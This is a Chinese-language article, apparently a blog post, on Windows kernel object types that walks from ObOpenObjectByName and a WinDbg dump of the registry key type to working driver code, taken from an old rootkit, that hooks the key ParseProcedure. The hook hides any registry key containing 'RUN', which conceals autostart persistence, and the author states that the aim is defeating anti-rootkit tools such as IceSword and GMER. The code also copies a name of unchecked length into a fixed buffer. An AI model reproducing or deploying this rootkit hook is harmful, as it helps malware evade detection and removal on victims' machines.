来看ObOpenObjectByName,它会调用ObpLookupObjectByName来打开一个对象
对象头(object_header)有一个object type结构
object type结构里有一个TypeInfo,结构是OBJECT_TYPE_INITIALIZER
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN CaseInsensitive;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
OBJECT_TYPE_INITIALIZER 结构中一个指针ParseProcedure就是用来实现这类对象的打开的
OBJECT_TYPE_INITIALIZER 中类似的有
DumpProcedure;OpenProcedure;CloseProcedure;DeleteProcedure;ParseProcedure;SecurityProcedure;QueryNameProcedure;OkayToCloseProcedure;
分别对应着对象的删除、lookup、获取名字等的例程,一般对象不是所有的routine都有。
这些都是在ObCreateObjectType(系统启动时)填充的
例如KeyObject的TypeInfo:
lkd> dt _OBJECT_TYPE_INITIALIZER 839b25e0+60
+0x000 Length : 0x4c
+0x002 UseDefaultObject : 0x1 ''
+0x003 CaseInsensitive : 0 ''
+0x004 InvalidAttributes : 0x30
+0x008 GenericMapping : _GENERIC_MAPPING
+0x018 ValidAccessMask : 0x1f003f
+0x01c SecurityRequired : 0x1 ''
+0x01d MaintainHandleCount : 0 ''
+0x01e MaintainTypeList : 0x1 ''
+0x020 PoolType : 1 ( PagedPool )
+0x024 DefaultPagedPoolCharge : 0x74
+0x028 DefaultNonPagedPoolCharge : 0
+0x02c DumpProcedure : (null)
+0x030 OpenProcedure : (null)
+0x034 CloseProcedure : 0x8062cedc nt!CmpCloseKeyObject+0
+0x038 DeleteProcedure : 0x8062cdc2 nt!CmpDeleteKeyObject+0
+0x03c ParseProcedure : 0x806250c2 nt!CmpParseKey+0
+0x040 SecurityProcedure : 0x8062cc24 nt!CmpSecurityMethod+0
+0x044 QueryNameProcedure : 0x8062be7e nt!CmpQueryKeyName+0
+0x048 OkayToCloseProcedure : (null)
那么很简单了,我们只要HOOK这些函数例程就可以了
例如hook ParseProcedure,那么可以令得无法打开特定的Object
这些函数例程的原始例程是比较难搜索到的,结合多段跳(参见我的“绕过现代Anti-Rookit工具的内核模块扫描” http://www.xfocus.net/articles/200710/955.html),可以很容易地让反rootkit工具检查不到这种HOOK
HOOK了之后,冰刃(蹦出“无法打开”)和GMER都无法打开目标的注册表键,当然uty的那个新的反ROOTKIT工具也是不行~(直接解析注册表的例如DarkSpy则可以)
以下是很老的一个RK里的代码,用于进行这个处理,小改了一下:
PVOID OldParseKey;
//安装HOOK
void InstallAdvRegHook()
{
UNICODE_STRING RegPath ;
OBJECT_ATTRIBUTES oba ;
HANDLE RegKeyHandle ;
NTSTATUS status ;
PVOID KeyObject ;
PMYOBJECT_TYPE CmpKeyObjectType ;
RtlInitUnicodeString(&RegPath, L"//Registry//Machine//System" );
InitializeObjectAttributes( &oba ,
&RegPath ,
OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE ,
0 ,
0 );
RegKeyHandle=0;
status=ZwOpenKey(&RegKeyHandle,KEY_QUERY_VALUE,&oba);
if (!NT_SUCCESS(status ))
{
KDMSG(("open the system key failed!/n"));
return ;
}
//首先随便打开一个注册表键,得到对象
status=ObReferenceObjectByHandle(RegKeyHandle,
GENERIC_READ,
NULL,
KernelMode,
&KeyObject,
0);
if (!NT_SUCCESS(status ))
{
KDMSG(("reference the key object failed!/n"));
ZwClose(RegKeyHandle);
return ;
}
__asm
{
push eax
mov eax,KeyObject
mov eax,[eax-0x10]
mov CmpKeyObjectType,eax
pop eax
}
KDMSG(("key object type :%08x /n" , CmpKeyObjectType ));
//get the key object type
//获得注册表键对象类型,即CmpKeyObjectType
OldParseKey = CmpKeyObjectType->TypeInfo.ParseProcedure ;
KDMSG(("key parseProcedure routine :%08x /n ", OldParseKey ));
if (!MmIsAddressValid(OldParseKey))
{
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;
}
//保存原始的ParseProcedure
CmpKeyObjectType->TypeInfo.ParseProcedure = (ULONG) FakeParseKey;
//进行HOOK
ObDereferenceObject(KeyObject);
ZwClose(RegKeyHandle);
return ;
}
//HOOK函数
NTSTATUS FakeParseKey(POBJECT_DIRECTORY RootDirectory,
POBJECT_TYPE ObjectType,
PACCESS_STATE AccessState,
KPROCESSOR_MODE AccessCheckMode,
ULONG Attributes,
PUNICODE_STRING ObjectName,
PUNICODE_STRING RemainingName,
PVOID ParseContext ,
PSECURITY_QUALITY_OF_SERVICE SecurityQos ,
PVOID *Object)
{
NTSTATUS stat ;
WCHAR Name[300];
RtlCopyMemory(Name , ObjectName->Buffer , ObjectName->MaximumLength );
_wcsupr(Name);
if (wcsstr(Name , L"RUN"))
{
//检查是不是要保护的注册表键
return STATUS_OBJECT_NAME_NOT_FOUND ;
}
__asm
{
push eax
push Object
push SecurityQos
push ParseContext
push RemainingName
push ObjectName
push Attributes
movzx eax, AccessCheckMode
push eax
push AccessState
push ObjectType
push RootDirectory
call OldParseKey
mov stat, eax
pop eax
}
return stat ;
}